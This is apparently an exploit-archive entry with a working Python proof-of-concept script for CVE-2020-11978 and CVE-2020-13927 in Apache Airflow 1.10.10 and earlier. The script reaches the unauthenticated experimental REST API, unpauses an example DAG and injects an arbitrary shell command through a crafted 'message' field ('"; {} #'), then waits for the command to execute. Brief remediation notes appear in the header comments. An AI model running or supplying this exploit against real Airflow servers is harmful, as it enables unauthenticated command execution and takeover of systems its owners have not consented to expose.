Authored by Pepe Berba

Apache Airflow versions 1.10.10 and below suffer from a remote code execution vulnerability.

advisories | CVE-2020-11978, CVE-2020-13927

# Exploit Title: Apache Airflow 1.10.10 - 'Example Dag' Remote Code Execution 
# Date: 2021-06-02
# Exploit Author: Pepe Berba
# Vendor Homepage: https://airflow.apache.org/
# Software Link: https://airflow.apache.org/docs/apache-airflow/stable/installation.html
# Version: <= 1.10.10
# Tested on: Docker apache/airflow:1.10 .10 (https://github.com/pberba/CVE-2020-11978/blob/main/docker-compose.yml)
# CVE : CVE-2020-11978
#
# This is a proof of concept for CVE-2020-11978, a RCE vulnerability in one of the example DAGs shipped with airflow
# This combines with CVE-2020-13927 where unauthenticated requests to Airflow's Experimental API were allowded by default.
# Together, potentially allows unauthenticated RCE to Airflow
#
# Repo: https://github.com/pberba/CVE-2020-11978
# More information can be found here:
# https://lists.apache.org/thread.html/r23a81b247aa346ff193670be565b2b8ea4b17ddbc7a35fc099c1aadd%40%3Cdev.airflow.apache.org%3E
# https://lists.apache.org/thread.html/r7255cf0be3566f23a768e2a04b40fb09e52fcd1872695428ba9afe91%40%3Cusers.airflow.apache.org%3E
#
# Remediation:
# For CVE-2020-13927 make sure that the config `[api]auth_backend = airflow.api.auth.backend.deny_all` or has auth set.
# For CVE-2020-11978 use 1.10.11 or set `load_examples=False` when initializing Airflow. You can also manually delete example_trigger_target_dag DAG.
#
# Example usage: python CVE-2020-11978.py http://127.0.0.1:8080 "touch test"

import argparse
import requests
import sys
import time

def create_dag(url, cmd):
print('[+] Checking if Airflow Experimental REST API is accessible...')
check = requests.get('{}/api/experimental/test'.format(url))

if check.status_code == 200:
print('[+] /api/experimental/test returned 200' )
else:
print('[!] /api/experimental/test returned {}'.format(check.status_code))
print('[!] Airflow Experimental REST API not be accessible')
sys.exit(1)

check_task = requests.get('{}/api/experimental/dags/example_trigger_target_dag/tasks/bash_task'.format(url))
if check_task.status_code != 200:
print('[!] Failed to find the example_trigger_target_dag.bash_task')
print('[!] Host isn't vunerable to CVE-2020-11978')
sys.exit(1)
elif 'dag_run' in check_task.json()['env']:
print('[!] example_trigger_target_dag.bash_task is patched')
print('[!] Host isn't vunerable to CVE-2020-11978')
sys.exit(1)
print('[+] example_trigger_target_dag.bash_task is vulnerable')

unpause = requests.get('{}/api/experimental/dags/example_trigger_target_dag/paused/false'.format(url))
if unpause.status_code != 200:
print('[!] Unable to enable example_trigger_target_dag. Example dags were not loaded')
sys.exit(1)
else:
print('[+] example_trigger_target_dag was enabled')

print('[+] Creating new DAG...')
res = requests.post(
'{}/api/experimental/dags/example_trigger_target_dag/dag_runs'.format(url),
json={
'conf': {
'message': '"; {} #'.format(cmd)
}
}
)

if res.status_code == 200:
print('[+] Successfully created DAG')
print('[+] "{}"'.format(res.json()['message']))
else:
print('[!] Failed to create DAG')
sys.exit(1)

wait_url = '{url}/api/experimental/dags/example_trigger_target_dag/dag_runs/{execution_date}/tasks/bash_task'.format(
url = url,
execution_date=res.json()['execution_date']
)

start_time = time.time()
print('[.] Waiting for the scheduler to run the DAG... This might take a minute.')
print('[.] If the bash task is never queued, then the scheduler might not be running.')
while True:
time.sleep(10)
res = requests.get(wait_url)
status = res.json()['state']
if status == 'queued':
print('[.] Bash task queued...')
elif status == 'running':
print('[+] Bash task running...')
elif status == 'success':
print('[+] Bash task successfully ran')
break
elif status == 'None':
print('[-] Bash task is not yet queued...'.format(status))
else:
print('[!] Bash task was {}'.format(status))
sys.exit(1)

return 0


def main():
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('url', type=str, help="Base URL for Airflow")
arg_parser.add_argument('command', type=str)
args = arg_parser.parse_args()

create_dag(
args.url,
args.command
)

if __name__ == '__main__':
main()